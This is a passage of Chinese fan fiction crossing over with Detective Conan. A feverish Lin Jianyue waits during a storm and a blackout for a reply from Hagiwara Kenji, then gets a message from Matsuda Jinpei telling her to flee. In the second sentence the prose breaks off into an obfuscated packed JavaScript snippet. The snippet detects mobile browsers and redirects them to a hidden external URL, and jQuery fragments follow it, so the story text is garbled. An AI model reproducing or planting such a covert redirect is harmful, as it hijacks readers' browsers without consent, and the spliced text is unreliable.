回到房间时,屋外又下起了小雨,淅淅沥沥地拍在玻璃上,像有谁在轻轻叩门。小兰坐在窗边的书桌前,时不时看向窗外,手指无意识地绞着衣角。 林见月蜷在床上,攥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000140|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机侧卧着,屏幕还停留在和萩原研二的聊天界面。 那条消息依旧没有回音。 睫毛颤了颤,林见月按灭屏幕,拉高被子合上眼。 夜里,林见月发起了低烧,浑身懒洋洋的,骨头缝里都透着困意。 半梦半醒间,好像有人用手背碰了碰她的额头,指尖带着微凉的体温,像刚从外面回来。 床边萦绕着一股潮湿的水汽,混杂着淡淡的海水味,仿佛有海鬼从浪里爬了出来,拖着潮湿的水汽一起站到她床边。 有人在说话,声音像浸在温水里,忽远忽近的,隔着层棉花,听不真切。 “轰隆——” 窗外突然炸响一声惊雷,乌压压的天空瞬间亮如白昼。 林见月睁开眼,借着短暂的光亮,看到床头坐着个模糊的人影。对方逆着光,看不清模样,只能瞥见他手里端着个冒着热气的白瓷碗。和地板上的水渍被电光照亮的瞬间,反射出细碎的光泽。 “……研二?”她的声音带着刚睡醒的沙哑。 那人舀起一勺碗里的东西,轻轻吹了吹,递到她嘴边,声音低低的:“坐得起来吗?喝点药。” 再次睁开眼,已经是凌晨四点,房间里只剩下无边的黑暗,空荡荡的,只有她一个人的呼吸声。 林见月伸手按了按床头柜的台灯,没反应。她掀开被子下床,借着手机的电筒功能走下床。 窗户紧闭,椅子整齐摆放在书桌前,地板干净得像没人来过,哪有什么水渍。 大概是烧糊涂了。她苦笑了一下。 墙壁上的灯没有反应,走廊也黑漆漆的,看来是停电了。 林见月摸出压在枕头下的漫画书,借着手机光翻了两页。今晚的案子似乎和二十年前岛上发生的一桩悬案有关。最新的画面里,柯南背后闪过一道寒芒,嘴角勾起了看破真相的自信笑容。 按剧情,这时候该收尾了吧。 林见月咽了口唾沫,喉咙干得收紧,像有沙子在磨。 她盯着伸手不见五指的过道,犹豫再三,最终缓缓抬起步子,循着记忆向楼梯间走去。 她借着手机的光,摸黑走到灶台边,凭着记忆摸到燃气灶的开关。咔嗒一声,蓝色火苗舔上锅底,映亮她终于恢复了些血色的脸。 借着烧水的空档,林见月又看了眼手机。聊天对话框里空荡荡的,她发去的消息依旧石沉大海。 林见月垂眸,说不清自己是什么心情。 水壶里的水渐渐沸腾起来,白色的蒸汽氤氲而上,模糊了她的视线,也模糊了屏幕上那个始终灰暗的头像。 林见月倒了半碗热水,端到桌边,用勺子舀着吹了吹,小口小口地喝。 漆黑的房间里静得可怕,只有她的心跳声和窗外偶尔掠过的风声。 喝完最后一口水,她给松田阵平发了条消息:『我醒了,在厨房。你们在哪?』 松田的回信几乎是秒到,快得让她愣了一下。屏幕亮起,只有短短六个字: 『快逃,离开厨房。』 林见月瞳孔骤缩,正要站起身,门外的木质地板突然响起咯吱咯吱的声音,由远至近,越来越清晰。 像有人正踮着脚,一步步朝她走来。